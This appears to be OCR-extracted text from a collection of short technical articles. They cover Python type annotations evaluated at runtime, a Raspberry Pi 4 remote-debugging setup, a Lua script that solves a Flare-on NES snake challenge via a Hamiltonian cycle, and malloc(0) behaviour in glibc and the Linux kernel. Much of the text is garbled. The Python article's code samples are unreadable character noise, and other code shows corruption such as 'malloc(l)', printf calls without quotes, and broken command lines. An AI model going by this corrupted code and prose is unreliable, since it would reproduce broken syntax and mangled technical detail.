Many le format descriptions are already available in the
Kaitai Struct’s Format Galleryg, including multimedia les,
networking protocols, game data les, lesystems, rmware,
archive les, etc.

Shttps://graphviz.org/doc/info/lang.html
“https://graphviz.org/
8https://formats.kaitai.io

https://blog.skyplabs.net
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Python's typing is cursed and | love it

Uve Cadeto o
ASEYI Ggocl AAD 2 BJAUNCAH/ . o X X < K
ABEYYVI GGoEl K& i A Tg £B § CAYICA e L
ASEYWI 1B 1y 8CG | HCaAEY GAnU CHsV] 2iATg LB g CACYTI
FII/IAaCYW‘ Ggocl KgC, By g CAEY ogW H bCH ay Ghnu ot éi AVA

B g CAY 89U erel AYA

gj ¢
Python typing is... interesting. I'm still not sure if it's absolutely cursed and a terrible idea, or absolutely cursed
and one of the best typing implementations I've seen. Well, one way or another, it's cursed, as demonstrated by
the code above, which abuses the typing syntax for fun and proWwt
(https://twitter.com/gynvael/status/1726201121537135013). %
14
Joke-codes aside, you're probably more familiar with the following use of this syntax: ¥
14

variable name variable type? return type?

s S
- ~~

.. LY " i N -
e cj cOTEI 861 11 O/ Z8gT byl 39 «b g §UA
§YIjge Oum H 4PYgeTl CATYH0

This looks pretty typical: a colon to separate the name and the type, and an arrow used to indicate the return
type. So, what's so special about this??#

14

In most typed languages, all typing syntax is like a separate world that uses its own grammar and, in general,
exists beyond the typical language expressions and statements that make up the majority of the code.?

14

In Python, that's not that case. You see, type annotations in Python are normal expressions. Same kinds of
expressions like e.g. "YW'Y. That's exactly what the code at the beginning abuses, and why it uses the "I Wy

YI GjYggabEC syntax instead of "I ¥ YI GjYggAPEC to assign a variable (the former is an expression while the
latter is a statement, and the typing information needs to be an expression). ¥

14

Each of these type expressions are evaluated at the moment of function instantiation, i.e. at run time when the
function is constructed. ¢

14

The result of an expression evaluation is a value. So, what happens with said calculated value? It actually goes
into a dictionary with a given variable name used as a key. This dict can be found in the Weld L&Dl A& dBEGLL,
of a function object. For example:?

HAET rYe P AF G ¢ Owtopic: Python function instantiation / construction¥
Gyoel Kgj e COUAEEDT AE 3DEGLILK §
In Python, if you have a function deWnition like this...¥
¢
U¥g ¢j cGoM
GAgg
¢
...it's actually equivalent to the following pseudocode: ¥
4
BIAWU IAOEVCFQQ ToET THA ¢icO ¥ I x8LB! a.  Kgakgj cOLgj e 8BELPAIYA A
- _ ~ _ _ o ¥
TOTU | Lt&E eOZég | bg | g ic Y This pseudocode is executed in whatever scope the
e o o . . C- o function was deWned in, which usually is the given
TaYlj 9ETU wOAAHg Tyl §THbI module’s "global” scope. ¢

One thing we can immediately notice, is the nice little abuse of the fact that "return” is a keyword, therefore, no
variable can be named like that. As such, it was available to be used as a special magic key in the annotations
dictionary (INB4 Python anti-decompilation idea: changing variable names to keywords like d¢, ¢Bj, Y OYG , etc).?
§

So, what's with the weird Z8d1 bgl §3 syntax? Well, it's just a hack. Without going into the weird internals of the
TLG3eeazagl object, let's just say that its implementation overloads the b3indexing operator (i.e. it deWnes a
LILe YT 81 YCLI method). Regardless, it's just a simple "metadata” object that can be used in place of the Adgl
type/class itself, as there is no way to annotate A3g1 with the type of elements it's supposed to hold. ¢

§

Anyway, there are two things | Wnd amazing here. Firstly, the types are calculated at runtime. Abused, this can
play merry hell with any static typing linters. Secondly, using either LI/ Bl A 8D gL Weld, or better,
TLGaeeceYI L £GYLj 86T gk function, you can take advantage of the typing system and build various tools
pretty easily. Here's an example T a simple library that used LL/E Dl A dBE gL and LIUBALLWelds of a function
to automatically generate a JSON Schema describing a function/tool to be used with OpenAl's ChatGPT API: ¥
https://github.com/gynvael/agent_helpers/blob/7d2917f2eb5abc0879b224f118f3b6a232ba4c99/agent.py#L65Y

Gynvael Coldwind

https://gynvael.coldwind.pl/
https://hexarcana.ch/ SAA-ALL0.0.7
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RPI4 remote debug recipe!

RPI14 remote debug
recipe!

Tools: RPI14, C++, VSCode, CMake, Linux

Minimal project structure
Before we start with the main topic, a few les need to
be created. Thus, create a project which should match
at least the following tree directory:

-> .vscode
-> launch.json
-> settings.json
-> src
-> main.cc
-> CMakeLists.txt
-> rpi4.toolchain.cmake

The content of the above structure can be found by the
reader in the exeternal repo[l]. Once you get it, re-
place the following paths with your own favorite paths
as needed

1. workspace:
/mnt/d/programming/remote_debug_rpi/

2. image directory:
/mnt/d/programming/x-compile-os/

Environment
Install x-compile and indexing tools

sudo apt install -y gcc-10-aarch64-linux-gnu
,@ g++-10-aarch64-linux-gnu gdb-multiarch
,¥ clangd

Dump your RPI SD card or download a proper ash
image[2] as rpi_-img. Then, you are ready to con gure
your system and install the plugin for debugging.

unxz --keep <rpi_img>.img.xz
mkdir -p /mnt/d/programming/x-compile-os/rpi4
sudo mount -v -o offset=272629760

I <rpi_img>.1img.xz

.1 /mnt/d/programming/x-compile-os/rpi4

code --install-extension webfreak.debug
code --install-extension
,I llvm-vs-code-extensions.vscode-clangd

Playground
Now, compile the project and put the compiled binary
on the raspberry.

cmake -S . -B out_rpi
,¥ -DCMAKE_EXPORT_COMPILE_COMMANDS=True
., -DCMAKE_BUILD_TYPE=Debug --toolchain
,¥ rpi4.toolchain.cmake

cmake --build out_rpi -j7

scp out_rpi/debug_rpi rpi: /

The nal step is to run the binary using gdbserver, and
after that, run a debug session by attaching it in your
VSCode (or by pressing the "F5" key).

# FROM RPI

gdbserver :9999 /debug_rpi

Voila! You have now become a driver.

Kajetan Brzuszczak
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= € 2 remote_debug rpi [WSL: Ubuntu] DB8aos

RUNAN. [ RPI4-ate~ 5] ¢ T D49 F

~ VARIABLES b .
pifraspberrypi:~ § gd

 Local

0

€ maince X il
: "RPI rules!” main =

: "/home/pi/debug_rpi

<
O
o
|4

WATCH

®

£

EXTHTEN ¥ de . @o0M0 W1 4> RPI4-attech (remote debug i) clangd: idle (@ CMake: [Debugl: Ready 3§ No Kit Select

VSCode attached to a remote app

Further steps
Being in sync with the image and the RPI is highly
recommended. If any library is installed directly on
the RPI, the image should be updated with the same
copy. And until any platform-spe ¢ header is used e.g.
linux/spi.h or linux/gpio.h, the code should be compil-
able locally without additional e ort.
With the current setup, you also get automatically gen-
erated compile_commands.json le utilized by clangd [3]
which provides code navigation and code completion.
The same approach is appliccable even for quite large
repositories, such as Chromium.
Last but not least, a major gain of remote debugging,
not used here, is reducing the required disk usage by
using stripped binaries on the RPI while keeping a de-
buggable version on your PC.
Misses

1. rpi ip in the launch.json le - hardcoded, seems

the plugin does not support aliases, so it has to be
replaced with your own RPI4 ip address

2. port 9999 - | like the number, but your rewall

might feel di erently

3. mounting o set - check [4] out

Caveats
Things are gettting much more complicated when the
project grows larger, libraries are distributed more
widely, and it is compiled on a remote station using a vir-
tual machine (e.g. gemu). Eventually, your simple con-
guration may stop working. However, GDB provides
commands that can help point to the correct places, such
as set solib-search-path path or set substitute-path from
to etc.[5]
References
[1] https://github.com/Halflnner/remote_debug_rpi

[2] https://www.raspberrypi.com/software/
operating-systems/

[3] https://clangd.llvm.org/
[4] https://raspberrypi.stackexchange.com/a/13138

[5] https://sourceware.org/gdb/onlinedocs/gdb/
Source-Path.html

[6] https://tttapa.github.io/Pages/Raspberry-Pi/C+
+-Development-RPi0S/index.html

https://quernstone.pl/
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Retro Rendering Using an Octree
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Solving a Snake Challenge with Hamiltonian Cycle

Solving a Snake
Challenge with
Hamiltonian Cycle

1 Introduction

The 6th Flare-on CTF * in 2019 came with an interesting
console game challenge { the challenge no.82 is a snake
game (snake.nes) for the NES platform?3.

The players do not need an actual NES hardware to
solve the challenge, since most NES games can be emu-
lated with fceux #. There is also plenty of documenta-
tion® surrounding the 6502 CPU and NES.

2 Initial Game Play

The game itself is routine. We use the four arrow keys to
control the head of a snake. The goal is to eat as many
apples as possible while avoiding any collisions. | played
the game for a while but failed every time. Playing the
game by hand is not the right way to go.

Then, the typical method is to analyze the ROM, nd
the code that updates the score and see if a certain score
reveals the ag. But this is easier said than done. We
are faced with an unfamiliar CPU and learning the ISA
can take some time. Fortunately, | quickly recalled that
| did some mathematical explorations on the snake game
in college and it could help.

3 Hamiltonian Cycle: A Simple
Strategy to Win the Game

Hamiltonian cycle © is a graph theory notion. A Hamil-
ton path is a path that visits all the vertices on a graph
once and exactly once. A Hamilton cycle further re-
quires that the path starts and ends on the same vertex,
thus forming a cycle.

How is a Hamiltonian cycle related to the game of
snake? Well, once we nd a Hamiltonian cycle on the
game board, we simply need to have the shake’s head
follow the cycle. Due to the \exactly once" property of
the Hamiltonian cycle, there will never be any intersec-
tions between any parts of the snake. Furthermore, the
snake will capture at least one apple each time it tra-
verses the cycle. The snake will grow in length until it

lIs the board.

Thttps://www.mandiant.com/resources/blog/
announcing-sixth-annual-flare-challenge

2https://www.mandiant.com/media/23811

Shttps://en.wikipedia.org/wiki/Nintendo_Entertainment_
System

4https://ww . Fceux.com/web/home _html

Shttp://www.6502.0rg/tutorials/

Shttps://en.wikipedia.org/wiki/Hami ltonian_path

Xusheng Li
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4 Implementation

Fceux can be automated by Lua scripts which can con-
trol everything in the game. For this snake game, we
only need to read the RAM and send joypad inputs.

We rst need to know the x and y position of the
snake’s head. Fceux ships a well-built RAM searcher
which is similar to Cheat Engine’. It soon turns out
that the position is located at byte 7 and 8 in the RAM.

Then we need to know the dimension of the game
board. We take note of the nal x and y value when the
snake hits the wall. The board is 22 * 20 in size.

According to my research, as long as one of the di-
mensions is even, there is a Hamiltonian cycle in it. The
cycle | used is shown in the following gure:

The rest of the work is to determine when we should
press the joypad keys. The coding requires some pa-
tience, but eventually we arrive at the following code:
m = 23
n =21
while (true) do

emu.frameadvance ();

X memory.readbyte (7);

y memory.readbyte (8);

-- num = memory.readbyte (0x25);

if (x==2 and y%2==0 and y~=0) then
joypad.write(l, {up=true});
elseif (x==m-1 and y%2==1) then
joypad.write(l, {up=true});
elseif (x==1 and y==0)then
joypad.write(l, {down=true});
elseif (x==m and y%2==1) then
joypad.write(l, {left=true});
elseif (x==0 and y==n-1) then
joypad.write(l, {right=true});
elseif (x==1 and y%2==0) then
joypad.write(l, {right=true});
end;
end;

Finally, launch the game, start the script and wait.
The game runs too slow so | set the emulation speed to
6400x. It took 4 minutes to clear the game and arrive
at the ag scene. You can view a video of it at https:
//www . youtube . com/watch?v=UxSEAg70Bzw.

"https://cheatengine.org/

https://xusheng.dev/
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The Quest of malloc(0)

Programming

The Quest of malloc(0)

Prologue:

| recently stumbled upon some discussion about the malloc(0)
behavior. Since the issue looks more common than what | was
expecting (for example seen also in a Chrome bug?), let's see how
malloc(0) works and how it should be handled.

The Quest:

Everything began after a big Linux kernel oops? that happened when
| was developing a kernel driver. | realized that it was generated by an
access to the first byte of a buffer allocated (by mistake) to 0 bytes.

This initially puzzled me because | checked for the allocation return
value and | got a "valid" pointer.

But looks like this is a defined behavior: from the C17° standard, we
can read (7.24.3)

"If the size of the space requested is zero, the behavior is
implementation-defined:

either a null pointer is returned to indicate an error, or the
behavior is as if the size were some nonzero value, except that
the returned pointer shall not be used to access an object”

Let& get our hands dirty; both GCC 13.2.0 and Clang 16.0.6 on Ubuntu
22.04 follow the "valid pointer" implementation.
Running the following C code:
#include <stdio.h>
#include <stdlib.h>
int main(void){
char *outl;
char *out2;
char *out3;

outl = malloc(l);
out2 = malloc(0);
out3 = malloc(l);

printf(outl: %p\n’,outl);
printf(out2: %p\n’,out2);
printf(out3: %p\n’,out3);

free(outl);
free(out2);
free(out3);
¥
We get something like:
outl: 0x55b36d0f8260
out2: 0x55b36d0f8280 <-- 0 size
out3: 0x55b36d0f82a0

The space on the heap has been allocated. But this is more related to
glibc than to the compiler. Looking at glibc 2.38* malloc source code
comments *Imalloc.ct(}

Minimum allocated size:
4-byte ptrs: 16 bytes (including 4 overhead)
8-byte ptrs: 24/32 bytes (including, 4/8 overhead)

When a chunk is freed, 12 (for 4byte ptrs) or 20 (for 8
byte ptrs but 4 byte size) or 24 (for 8/8) additional
bytes are needed; 4 (8) for a trailing size field and 8
(16) bytes for free list pointers. Thus, the minimum
allocatable size is 16/24/32 bytes.

Even a request for zero bytes (i.e., malloc(0)) returns
a pointer to something of the minimum allocatable size.

So, 16/32 bytes are allocated in any case, and the buffer is definitely
usable.

Let's check this with a memory error detector, AddressSanitizer®
(ASan), and try to access the allocated memory. If we try to access
*out2, no errors appear, but if we try to go beyond it (out2[1]), we get
a crash.

By looking at the output, we can understand why:

Cesare Pizzi

CCO

SUMMARY: AddressSanitizer: heap-buffer-overflow
/tmp/foo.c:19 in main
Shadow bytes around the buggy address:

0x0c047fff7fb0 00 00 00 00 00 OO0 OO OO OO 00 00 OO OO0 00 00 00
0x0c047fff7fcO 00 00 00 00 00O OO0 OO0 OO OO0 00O OO OO OO0 00 00 00
0x0c047fff7fd0 00 00 00 00 00 OO0 OO0 00 OO0 00 00 OO OO0 00 00 00
0x0c047fff7fe0 00 00 00 00 00 OO0 OO0 OO OO OO OO OO OO OO 00 00
0x0c047fff7ff0O 00 00 00 00 00 OO0 OO OO 00 00 00 OO 00 00 00 00
0x0c047fff8000 fa fa 01 fa fa fa[0l]fa fa fa 01 fa fa fa fa fa
0x0c047fff8010 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

As we can see, ASan is actually considering that it is valid to access
the first byte of the 0-bytes allocation. The {fats represent the {guard
regionst around the allocated bytes®.

I'm not sure if this ASan behavior is correct, since the standard says
we cannot use it to "access an object" (even if | could be
misinterpreting the meaning of this): | actually had the kernel oops in
accessing the very first byte (even without KASan, Kernel
AddressSanitizer?).

But at this point, why | had a page fault on first byte access? Wait! |
was in kernel space and using kmalloc instead, so glibc is not
involved.

Let's dig a bit further (from kernel 6.5.2 sources®). Backtracking the
kmalloc calls from the code in {.mm/slab_common.ct;

struct kmem_cache *kmalloc_slab(size_t size,
gfp_t flags)

{
unsigned int index;
if (size <= 192) {
if (Isize)
return ZERO_SIZE_PTR; <--- What"s this???
index = size_index[size_index_elem(size)];
} else {
[snip]

One step further in {.include/linux/slab.ht

ZERO_SIZE_PTR will be returned for zero sized
kmalloc requests.

Dereferencing ZERO_SIZE_PTR will lead to a
distinct access fault.

ZERO_SIZE_PTR can be passed to kfree though in
the same way that NULL can.

Both make kfree a no-op.

ook ok X X ok F N\

*/

#define ZERO_SIZE_PTR ((void *)16)

#define ZERO_OR_NULL_PTR(x) ((unsigned long)(x) <= \
(unsigned long)ZERO_SIZE_PTR)

Now everything is clear: in Linux Kernel, the kmalloc(0) returns a
1voidt pointer ('=NULL), which causes a fault if accessed. The proper
way to check a kmalloc return value is the ZERO_OR_NULL_PTR
macro defined above.

The End of the Quest:

At the end, it looks like everyone is getting their own way in
managing the allocation of 0 bytes, with a lot of little (but sneaky)
differences. Comparing the behavior of glibc with the Linux Kernel is
somewhat forced, but | believe it's useful for a comprehensive
overview of the matter.
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